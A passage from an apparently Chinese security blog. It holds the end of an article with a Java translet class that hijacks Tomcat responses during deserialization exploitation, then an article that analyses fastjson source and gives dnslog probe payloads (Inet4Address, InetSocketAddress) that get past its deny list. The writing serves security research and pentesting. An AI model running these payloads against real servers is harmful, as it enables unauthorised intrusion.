class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.DOM;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.TransletException;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xml.internal.serializer.SerializationHandler;</span><br><span class="line"><span class="keyword">import</span> org.apache.tomcat.util.buf.ByteChunk;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.util.ArrayList;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Tomcat7EchoByC0ny1</span> <span class="keyword">extends</span> <span class="title">AbstractTranslet</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">Tomcat7EchoByC0ny1</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> Object obj = Thread.currentThread();</span><br><span class="line"> Field field = obj.getClass().getSuperclass().getDeclaredField(<span class="string">"group"</span>);</span><br><span class="line"> field.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> obj = field.get(obj);</span><br><span class="line"></span><br><span class="line"> field = obj.getClass().getDeclaredField(<span class="string">"threads"</span>);</span><br><span class="line"> field.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> obj = field.get(obj);</span><br><span class="line"></span><br><span class="line"> Thread[] threads = (Thread[]) obj;</span><br><span class="line"> <span class="keyword">for</span> (Thread thread : threads) {</span><br><span class="line"> <span class="keyword">if</span> (thread.getName().contains(<span class="string">"http-apr"</span>) && thread.getName().contains(<span class="string">"Poller"</span>)) {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> field = thread.getClass().getDeclaredField(<span class="string">"target"</span>);</span><br><span class="line"> field.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> obj = field.get(thread);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> field = obj.getClass().getDeclaredField(<span class="string">"this$0"</span>);</span><br><span class="line"> field.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> obj = field.get(obj);</span><br><span class="line"></span><br><span class="line"> field = obj.getClass().getDeclaredField(<span class="string">"handler"</span>);</span><br><span class="line"> field.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> obj = field.get(obj);</span><br><span class="line"></span><br><span class="line"> field = obj.getClass().getSuperclass().getDeclaredField(<span class="string">"global"</span>);</span><br><span class="line"> field.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> obj = field.get(obj);</span><br><span class="line"></span><br><span class="line"> field = obj.getClass().getDeclaredField(<span class="string">"processors"</span>);</span><br><span class="line"> field.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> obj = field.get(obj);</span><br><span class="line"></span><br><span class="line"> ArrayList processors = (ArrayList) obj;</span><br><span class="line"> <span class="keyword">for</span> (Object o : processors) {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> field = o.getClass().getDeclaredField(<span class="string">"req"</span>);</span><br><span class="line"> field.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> obj = field.get(o);</span><br><span class="line"> org.apache.coyote.Request request = (org.apache.coyote.Request) obj;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">byte</span>[] buf = <span class="string">"Test by c0ny1"</span>.getBytes();</span><br><span class="line"> ByteChunk bc = <span class="keyword">new</span> ByteChunk();</span><br><span class="line"> bc.setBytes(buf, <span class="number">0</span>, buf.length);</span><br><span class="line"> request.getResponse().doWrite(bc);</span><br><span class="line"> }<span class="keyword">catch</span> (Exception e){</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">catch</span> (Exception e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> }<span class="keyword">catch</span> (Exception e){</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">transform</span><span class="params">(DOM document, SerializationHandler[] handlers)</span> <span class="keyword">throws</span> TransletException </span>{</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">transform</span><span class="params">(DOM document, DTMAxisIterator iterator, SerializationHandler handler)</span> <span class="keyword">throws</span> TransletException </span>{</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>最终生成反序列化数据提交至服务器即可回显</p><p><img src="/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/4.png" alt="tomcat回显"></p><p>通过<code>java-object-searcher</code>,我不仅挖掘到了之前师傅们公开的链,还挖掘到了其他未公开的。同时在其他中间件下也实现了回显,下面列举几个比较冷门的中间件。</p><p><strong>1. Jetty</strong></p><p><img src="/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/jetty_chain.png" alt></p><p><img src="/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/jetty.jpg" alt></p><p><strong>2. WildFly</strong></p><p><img src="/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/wildfly_chain.png" alt="wildfly挖掘结果"></p><p><img src="/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/wildfly.jpg" alt="wildfly回显"></p><p><strong>3. Resin</strong></p><p><img src="/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/resin_chain.png" alt="resin挖掘结果"></p><p><img src="/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/resin.jpg" alt="resin回显"></p><h2 id="0x06-最后的思考"><a href="#0x06-最后的思考" class="headerlink" title="0x06 最后的思考"></a>0x06 最后的思考</h2><p>有了半自动化,就想着全自动。这种运行时动态挖掘的局限性是需要人工确定那些全局变量存有request,这是只能半自动的原因。那么是否可以通过静态分析源码的方式来解决呢?比如<a href="https://github.com/JackOfMostTrades/gadgetinspector" target="_blank" rel="noopener">gadgetinspector</a>原来是挖掘gadget的,能否更换它的<code>source</code>和<code>slink</code>定义,将其改造为全自动化挖掘request呢?有兴趣的朋友可以去试试。</p><p>PS:写到这里我在想Avicii在写完《The Nights》时是怎样的心情,或许和我此时的心情一样,无以言表。</p>]]></content>
<categories>
<category> 安全开发 </category>
</categories>
</entry>
<entry>
<title>通过dnslog探测fastjson的几种方法</title>
<link href="/articles/2020/several-ways-to-detect-fastjson-through-dnslog/"/>
<url>/articles/2020/several-ways-to-detect-fastjson-through-dnslog/</url>
<content type="html"><![CDATA[<h2 id="0x01-背景"><a href="#0x01-背景" class="headerlink" title="0x01 背景"></a>0x01 背景</h2><p>在渗透测试中遇到json数据一般都会测试下有没有反序列化。然而json库有<code>fastjson</code>,<code>jackson</code>,<code>gson</code>等等。怎么判断后端不是fastjson呢?这就需要构造特定的payload了。</p><p>昨天翻看fastjson源码时发现了一些可以构造dns解析且没在黑名单当中的类,于是顺手给官方提了下<a href="https://github.com/alibaba/fastjson/issues/3077" target="_blank" rel="noopener">Issue</a>。有趣的是后续的师傅们讨论还挺热闹的,我也在这次讨论中学习了很多。这篇文章算是对那些方法的汇总和原理分析。</p><p><img src="/articles/2020/several-ways-to-detect-fastjson-through-dnslog/1.png" alt="给fastjson官方提的issue"></p><h2 id="0x02-方法一-利用java-net-Inet-4-6-Address"><a href="#0x02-方法一-利用java-net-Inet-4-6-Address" class="headerlink" title="0x02 方法一:利用java.net.Inet[4|6]Address"></a>0x02 方法一:利用java.net.Inet[4|6]Address</h2><p>很早之前有一个方法是使用<code>java.net.InetAddress</code>类,现在这个类已经列入黑名单。然而在翻阅fastjson最新版源码(<code>v1.2.67</code>)时,发现两个类没有在黑名单中,于是可以构造了如下payload,即可使fastjson进行DNS解析。下面以<code>java.net.Inet4Address</code>为例分析构造原理。</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">{<span class="attr">"@type"</span>:<span class="string">"java.net.Inet4Address"</span>,<span class="attr">"val"</span>:<span class="string">"dnslog"</span>}</span><br><span class="line">{<span class="attr">"@type"</span>:<span class="string">"java.net.Inet6Address"</span>,<span class="attr">"val"</span>:<span class="string">"dnslog"</span>}</span><br></pre></td></tr></table></figure><p>我们知道在fastjson在反序列化之前都会调用<code>checkAutoType</code>方法对类进行检查。通过调试发现,由于<code>java.net.Inet4Address</code>不在黑名单中,所以就算开启AutoType也是能过<code>1</code>处的检查。</p><p>fastjson的ParserConfig类自己维护了一个<code>IdentityHashMap</code>,在这个HashMap中的类会被认为是安全的。在<code>2</code>处可以在IdentityHashMap中可以获取到<code>java.net.Inet4Address</code>,所以<code>clazz</code>不为<code>null</code>,导致在<code>3</code>处就返回了。跳过了后续的未开启<code>AutoType</code>的黑名单检查。所以可以发现无论<code>AutoType</code>是否开启,都可以过<code>checkAutoType</code>的检查</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//com.alibaba.fastjson.parser.ParserConfig#checkAutoType</span></span><br><span class="line"><span class="keyword">public</span> Class<?> checkAutoType(String typeName, Class<?> expectClass, <span class="keyword">int</span> features) {</span><br><span class="line"> ...</span><br><span class="line"> Class clazz;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 1.当打开了autoTypeSupport,类名又不在白名单时进行的黑名单检查</span></span><br><span class="line"> <span class="keyword">if</span> (!internalWhite && (<span class="keyword">this</span>.autoTypeSupport || expectClassFlag)) {</span><br><span class="line"> hash = h3;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span>(mask = <span class="number">3</span>; mask < className.length(); ++mask) {</span><br><span class="line"> hash ^= (<span class="keyword">long</span>)className.charAt(mask);</span><br><span class="line"> hash *= <span class="number">1099511628211L</span>;</span><br><span class="line"> ....</span><br><span class="line"> <span class="keyword">if</span> (Arrays.binarySearch(<span class="keyword">this</span>.denyHashCodes, hash) >= <span class="number">0</span> && TypeUtils.getClassFromMapping(typeName) == <span class="keyword">null</span> && Arrays.binarySearch(<span class="keyword">this</span>.acceptHashCodes, fullHash) < <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> JSONException(<span class="string">"autoType is not support. "</span> + typeName);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> clazz = TypeUtils.getClassFromMapping(typeName);</span><br><span class="line"> <span class="keyword">if</span> (clazz == <span class="keyword">null</span>) {</span><br><span class="line"> <span class="comment">// 2. fastjson的ParserConfig类自己维护了一个IdentityHashMap在这个HashMap中的类会被认为是安全的,会直接被返回。</span></span><br><span class="line"> clazz = <span class="keyword">this</span>.deserializers.findClass(typeName);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (clazz == <span class="keyword">null</span>) {</span><br><span class="line"> clazz = (Class)<span class="keyword">this</span>.typeMapping.get(typeName);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (internalWhite) {</span><br><span class="line"> clazz = TypeUtils.loadClass(typeName, <span class="keyword">this</span>.defaultClassLoader, <span class="keyword">true</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (clazz != <span class="keyword">null</span>) {</span><br><span class="line"> <span class="keyword">if</span> (expectClass != <span class="keyword">null</span> && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> JSONException(<span class="string">"type not match. "</span> + typeName + <span class="string">" -> "</span> + expectClass.getName());</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// 3. 直接返回,不再走下面的autoTypeSupport和黑名单检查</span></span><br><span class="line"> <span class="keyword">return</span> clazz;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// 4. 不开启autoType时,进行的黑名单检查</span></span><br><span class="line"> <span class="keyword">if</span> (!<span class="keyword">this</span>.autoTypeSupport) {</span><br><span class="line"> hash = h3;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span>(mask = <span class="number">3</span>; mask < className.length(); ++mask) {</span><br><span class="line"> <span class="keyword">char</span> c = className.charAt(mask);</span><br><span class="line"> hash ^= (<span class="keyword">long</span>)c;</span><br><span class="line"> hash *= <span class="number">1099511628211L</span>;</span><br><span class="line"> <span class="keyword">if</span> (Arrays.binarySearch(<span class="keyword">this</span>.denyHashCodes, hash) >= <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> JSONException(<span class="string">"autoType is not support. "</span> + typeName);</span><br><span class="line"> }</span><br><span class="line"> ...</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> } </span><br><span class="line"> ...</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>fastjason对于<code>Inet4Address</code>类会使用<code>MiscCodec</code>这个<code>ObjectDeserializer</code>来反序列化。跟进发现解析器会取出val字段的值赋值给strVal变量,由于我们的类是Inet4Address,所以代码会执行到1处,进行域名解析。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//com.alibaba.fastjson.serializer.MiscCodec#deserialze</span></span><br><span class="line"><span class="keyword">public</span> <T> <span class="function">T <span class="title">deserialze</span><span class="params">(DefaultJSONParser parser, Type clazz, Object fieldName)</span> </span>{</span><br><span class="line"> ...</span><br><span class="line"> objVal = parser.parse();</span><br><span class="line"> ...</span><br><span class="line"> strVal = (String)objVal;</span><br><span class="line"> <span class="keyword">if</span> (strVal != <span class="keyword">null</span> && strVal.length() != <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">if</span> (clazz == UUID.class) {</span><br><span class="line"> ...</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (clazz == URI.class) {</span><br><span class="line"> ...</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (clazz == URL.class) {</span><br><span class="line"> ...</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (clazz == Pattern.class) {</span><br><span class="line"> ...</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (clazz == Locale.class) {</span><br><span class="line"> ...</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (clazz == SimpleDateFormat.class) {</span><br><span class="line"> ...</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) {</span><br><span class="line"> ...</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="comment">// 1. 将strVal作为主机名,获取其对应的ip,域名在此处被解析</span></span><br><span class="line"> <span class="keyword">return</span> InetAddress.getByName(strVal);</span><br><span class="line"> } <span class="keyword">catch</span> (UnknownHostException var11) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> JSONException(<span class="string">"deserialize inet adress error"</span>, var11);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="0x03-方法二-利用java-net-InetSocketAddress"><a href="#0x03-方法二-利用java-net-InetSocketAddress" class="headerlink" title="0x03 方法二:利用java.net.InetSocketAddress"></a>0x03 方法二:利用java.net.InetSocketAddress</h2><p><code>java.net.InetSocketAddress</code>类也在<code>IdentityHashMap</code>中,和上面一样无视<code>checkAutoType</code>检查。</p><p>通过它要走到<code>InetAddress.getByName()</code>流程相比方法一是要绕一些路的。刚开始一直没构造出来,后来在和实验室的<code>@背影</code>师傅交流时,才知道可以顺着解析器规则构造(<code>它要啥就给它啥</code>),最终payload如下,当然它是畸形的json。</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{<span class="attr">"@type"</span>:<span class="string">"java.net.InetSocketAddress"</span>{<span class="attr">"address"</span>:,<span class="attr">"val"</span>:<span class="string">"dnslog"</span>}}</span><br></pre></td></tr></table></figure><p>那这个是怎样构造出来的呢?这就需要简单了解下fastjson的词法分析器了,这里就不展开了。这里尤为关键的是解析器<code>token</code>值对应的含义,可以在<code>com.alibaba.fastjson.parser.JSONToken</code>类中看到它们。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//com.alibaba.fastjson.parser.JSONToken</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">JSONToken</span> </span>{</span><br><span class="line"> ...</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">name</span><span class="params">(<span class="keyword">int</span> value)</span> </span>{</span><br><span class="line"> <span class="keyword">switch</span>(value) {</span><br><span class="line"> <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"error"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"int"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"float"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">4</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"string"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">5</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"iso8601"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">6</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"true"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">7</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"false"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">8</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"null"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">9</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"new"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">10</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"("</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">11</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">")"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">12</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"{"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">13</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"}"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">14</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"["</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">15</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"]"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">16</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">","</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">17</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">":"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">18</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"ident"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">19</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"fieldName"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">20</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"EOF"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">21</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"Set"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">22</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"TreeSet"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">23</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"undefined"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">24</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">";"</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">25</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"."</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">26</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"hex"</span>;</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"Unknown"</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>构造这个payload需要分两步,第一步我们需要让代码执行到1处,这一路解析器要接收的字符在代码已经标好。按照顺序写就是<code>{"@type":"java.net.InetSocketAddress"{"address":</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//com.alibaba.fastjson.serializer.MiscCodec#deserialze</span></span><br><span class="line"><span class="keyword">public</span> <T> <span class="function">T <span class="title">deserialze</span><span class="params">(DefaultJSONParser parser, Type clazz, Object fieldName)</span> </span>{</span><br><span class="line"> JSONLexer lexer = parser.lexer;</span><br><span class="line"> String className;</span><br><span class="line"> <span class="keyword">if</span> (clazz == InetSocketAddress.class) {</span><br><span class="line"> <span class="keyword">if</span> (lexer.token() == <span class="number">8</span>) {</span><br><span class="line"> lexer.nextToken();</span><br><span class="line"> <span class="keyword">return</span> <span class="keyword">null</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// 12 ---> {</span></span><br><span class="line"> parser.accept(<span class="number">12</span>);</span><br><span class="line"> InetAddress address = <span class="keyword">null</span>;</span><br><span class="line"> <span class="keyword">int</span> port = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span>(<span class="keyword">true</span>) {</span><br><span class="line"> className = lexer.stringVal();</span><br><span class="line"> </span><br><span class="line"> lexer.nextToken(<span class="number">17</span>);</span><br><span class="line"> <span class="comment">// 字段名需要为address</span></span><br><span class="line"> <span class="keyword">if</span> (className.equals(<span class="string">"address"</span>)) {</span><br><span class="line"> <span class="comment">// 17 ---> :</span></span><br><span class="line"> parser.accept(<span class="number">17</span>);</span><br><span class="line"> <span class="comment">// 1. 我们需要让解析器走到这里</span></span><br><span class="line"> address = (InetAddress)parser.parseObject(InetAddress.class);</span><br><span class="line"> } </span><br><span class="line"> ...</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> } </span><br><span class="line"> ...</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><code>parser.parseObject(InetAddress.class)</code>最终依然会,调用<code>MiscCodec#deserialze()</code>方法来序列化,这里就来到我们构造payload的第二步。第二步的目标是要让解析器走到<code>InetAddress.getByName(strVal)</code>。解析器要接受的字符在代码里标好了,按照顺序写就是<code>,"val":"http://dnslog"}</code>。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span 